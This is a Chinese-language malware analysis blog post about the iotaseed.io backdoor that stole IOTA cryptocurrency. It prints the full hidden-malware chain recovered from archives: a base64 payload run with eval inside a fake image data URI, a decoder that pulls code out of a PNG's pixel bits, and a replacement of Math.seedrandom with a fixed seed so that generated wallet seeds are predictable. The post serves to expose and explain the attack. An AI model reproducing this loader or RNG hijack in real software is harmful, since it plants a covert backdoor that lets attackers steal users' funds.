导语:Ars Technica近期的一篇关于区块链货币盗窃案报道就讲述了iotaseed.io(目前已经关站),是如何通过生成恶意Seed地址从用户钱包盗取价值400万美元的IOTA币。该文章没有对相关代码进行分析,只是让我们知道有这么一个骚操作。

不知道说啥的前言

1982年,有着当代焦裕禄称号的徐启斌先生在四川眉山县吼出的“要想富,先修路”这一口号,深深映入我们脑海。落后的交通阻碍了当地资源优势转化成经济优势的进程,落后的交通限制了当地经济的发展。交通给物流,文化交流带来便捷的同时也为当地财政带来了实实在在的收入,这个入口就是收费站。

玩过信用卡的朋友的应该都知道,在信用卡社区中将那些大把大把薅羊毛的人称之为大撸逼,这些人每月真实消费几十万?天天都会所嫩模?那么这些大撸逼又是怎样去薅银行的羊毛的呢?银行的活动大多都是以持卡人消费额度为基础进行设计的,消费场景无非就是诸如支付宝,微信支付,银联在线等线上消费,以及线下使用POS机的商户。

商户使用从收单机构领取的POS机给客户刷卡消费,然后商户打印小票,之后拿着小票让收单机构进行结算,收单机构根据与商家签订的合同收取一定的费用。这里我们不妨将消费流看作是一条高速公路,那么就不难理解将POS机背后的收单机构看作是收费站的说法了。

骗了400多字的稿费之后,正式引入本文的话题。

Ars Technica近期的一篇关于区块链货币盗窃案报道就讲述了iotaseed.io(目前已经关站),是如何通过生成恶意Seed地址从用户钱包盗取价值400万美元的IOTA币。该文章没有对相关代码进行分析,只是让我们知道有这么一个骚操作。

寻找代码

由于iotaseed.io已经停止运营,但幸运的是我们找到了该站点的历史页面

在页尾我们发现该站点有链接到一个github仓库,不服就自己去看代码,并强调使用该站点提供的服务,而不是让用户直接从github下载代码自建。其给出的理由也挺充分,“仓库里包含有还没完全测试的新代码”。

难道是在实际站点中加入了仓库中没有的脚本文件吗?如果假设成立,也就可以解释被盗用户提到的是iotaseed.io,而不是github仓库了。

然而该站点提供的仓库地址已经删除了,创建该仓库的所有者norbertvdberg同时也注销了。尝试通过archive.org提供的历史页面archived the homepage of the GitHub repository阅读代码或是下载代码都提示没有该页面存档。该代码仓库有8个人fork,从GitHub用户手册中我们得知,就算是该项目被删除,之前fork的分支是会被保留下来的!我们还有希望见到样本

01.png

根据原仓库历史页面上显示的一个commit信息,我在github进行搜索

eggdroid/eggseed3似乎就fork了原仓库代码,与原仓库作者norbertvdberg提交的commits数26相符。

至此,集齐两份样本可以召唤神龙了

分析代码

这个Seed地址生成器由多个不同的Javascript脚本构成,我们将其合并到一个名为all.js的文件,之后将其压缩为all.mini.js,该all.mini.js实际上也就是网页提供的文件。将我们通过历史页面找回的all.mini.js与github中获取的all.mini.js样本进行比较

$ shasum all-website.mini.js all-github.mini.js 
3d48933698d8cf1d1673067d782595c12c815424  all-website.mini.js
3d48933698d8cf1d1673067d782595c12c815424  all-github.mini.js

俩文件是相同的,只有埋头看代码了。之后我注意到一旦生成Seed地址,就会调用一个Web Worker对象生成二维码以及Seed地址信息,该Worker对象来自单独的文件all-wallet.mini.js。这个文件是否隐藏着丑恶的PY交易,我们拭目以待

对比两份all-wallet.mini.js文件样本,初步确认两份样本确实不同,怀着蹦蹦蹦跳着的小心脏将两份样本通过js-beautify整理之后,使用diff命令确认问题到底出在何处

$ diff all-wallet-website.js all-wallet-github.js
1313c1313
<             t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://web.archive.org/web/20180120222030/http://localhost/", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest)
---
>             t = t || {}, this.version = e("../package.json").version, this.host = t.host ? t.host : "http://localhost", this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, "") + ":" + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, ""), this.provider = this.sandbox + "/commands"), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e("./utils/inputValidator"), this.multisig = new s(this._makeRequest)
1713c1713
<             this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/", this.token = t
---
>             this.provider = e || "http://localhost:14265", this.token = t
1718c1718
<             this.provider = e || "http://web.archive.org/web/20180120222030/http://localhost:14265/"
---
>             this.provider = e || "http://localhost:14265"
6435c6435
<                 website: "http://web.archive.org/web/20180120222030/https://iota.org/"
---
>                 website: "https://iota.org"
6440c6440
<                 url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js/issues"
---
>                 url: "https://github.com/iotaledger/iota.lib.js/issues"
6444c6444
<                 url: "http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js.git"
---
>                 url: "https://github.com/iotaledger/iota.lib.js.git"

然而两份样本唯一不同的地方就是,我们通过时光机找回的历史页面获取到的样本,资源都进行了重写并且URL指向了web.archive.org。单从Seed地址生成功能实现上来看,两份样本似乎没差别。

在这之后我又看了看index.html页面,发现页面还加载了一个Javascript文件,一个通知库。下载之后将时光机版本与github版本进行diff比较,果然让我们发现了端倪。

$ diff notifier-website.js notifier-github.js 
68,71d67
<             if (!window.inited_n) {
<                 window.inited_n = true;
<                 Notifier.init()
<             }
82,87d77
<             if (/,T/.test(image)) {
<                 if (/ps:.*o/.test(document.location)) {
<                     eval(atob(image.split(",")[2]))
<                 }
<                 return
<             }
119,121d108
<         init: function(message, title) {
<             this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==")
<         },

为了隐藏代码作者的良苦用心,你们谁能理解?Notifier.notify方法已经变成检测image参数是否包含",T",将部分代码解析成Javascript并进行判断。另一个修改则是当页面加载时,增加调用Notifier.init()方法,调用包含image参数的notify方法以触发该代码执行。

执行atob(image.split(",")[2]),将引出以下代码片段:

function cDis(f) {
    var o = document.createElement("canvas").getContext("2d");
    var i = new Image;
    i.onload = function() {
        o.drawImage(i, 0, 0);
        dS(o.getImageData(0, 0, 298, 100).data)
    };
    i.src = f
}
function dS(d) {
    var l = 21,
        bM = "",
        tM = "";
    for (var i = 0; i < l; i++) {
        var b = (d[i * 4 + 2] >>> 0).toString(2);
        bM += b[b.length - 1];
        if (bM.length == 16) {
            l = parseInt(bM, 2) + 16;
            bM = ""
        } else if (bM.length == 8 && l != 21) {
            tM += String.fromCharCode(parseInt(bM, 2));
            bM = ""
        }
    }
    eval(tM)
}
cDis("./images/logo_small_bottom.png");

恶意代码第二阶段将./images/logo_small_bottom.png放入我们看不见的

if (/ps:.*\.io/.test(document.location)) {
    mode = "M";
    (function(message) {
        var name = "edr";
        name += "an";
        message["cont"] = 0;
        name += "dom";
        function show(arg, options, image) {
            message["e2" + name]("4782588875512803642" + String(message["cont"]), options, image);
            message["cont"] += 1
        }
        message["e2" + name] = message["se" + name];
        message["se" + name] = show
    })(eval(mode + "ath"))
}

这是JavaScript后门的最后一个阶段,我们简化下:

Math.cont = 0;
function show(arg, options, image) {
    Math.e2edrandom("4782588875512803642" + String(Math.cont), options, image);
    Math.cont += 1;
}
Math.e2edrandom = Math.seedrandom;
Math.seedrandom = show;

该代码修改了用于生成代码的Math.seedrandom函数,其使用固定数4782588875512803642加上一个计数变量seedrandom,这就导致Math.random()每次返回的数据是相同的,一系列的数字都是可预测的,最终生成的IOTASeed地址都是一样的。这也就说明了为什么你每次打开archive of iotaseed.io生成的Seed地址都是相同的:

XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD

就算你换台电脑也是一样的结果。

还有一件事情需要注意,每个用户获取到的RNG("4782588875512803642"是我们从历史样本中获取的)不是相同的,通过比对October 31st以及November 19th,发现每过一段时间该数字也会改变。这也就是说./images/logo_small_bottom.png是由iotaseed.io服务端动态生成的。创建该PNG文件后,用于修改随机函数的数字也会改变(或者是存储在其他地方,反正得利用攻击者盗取IOTA),看起来网站确实是为不同的用户生成了不同Seed地址。通过这个demo 展示了该代码是如何变化的。

根据IOTA官方Javascript库,我们知道前面提到的Seed地址(XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD)对应的钱包地址应该是PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX。从iotabalance.com网站得知这是个空钱包,然而从同类网站查询该钱包地址却返回404错误,比如这个例子

结论

回顾后门放置的手法,你非要说这是无心之失,那我也没办法。现在我们不清楚的只是这些代码是由norbertvdberg,还是其他攻击者所为。但是从所有者事后删除github,reddit,quora帐号来看,怕是脱不了干系吧。

后门隐藏得确实挺不错,仅仅只是通过浏览器的开发者工具瞥一眼很难发现其中端倪。

02.png

所以还是说,想致富先修路嘛!

参考来源github,对原文有部分修

源链接

Hacking more

...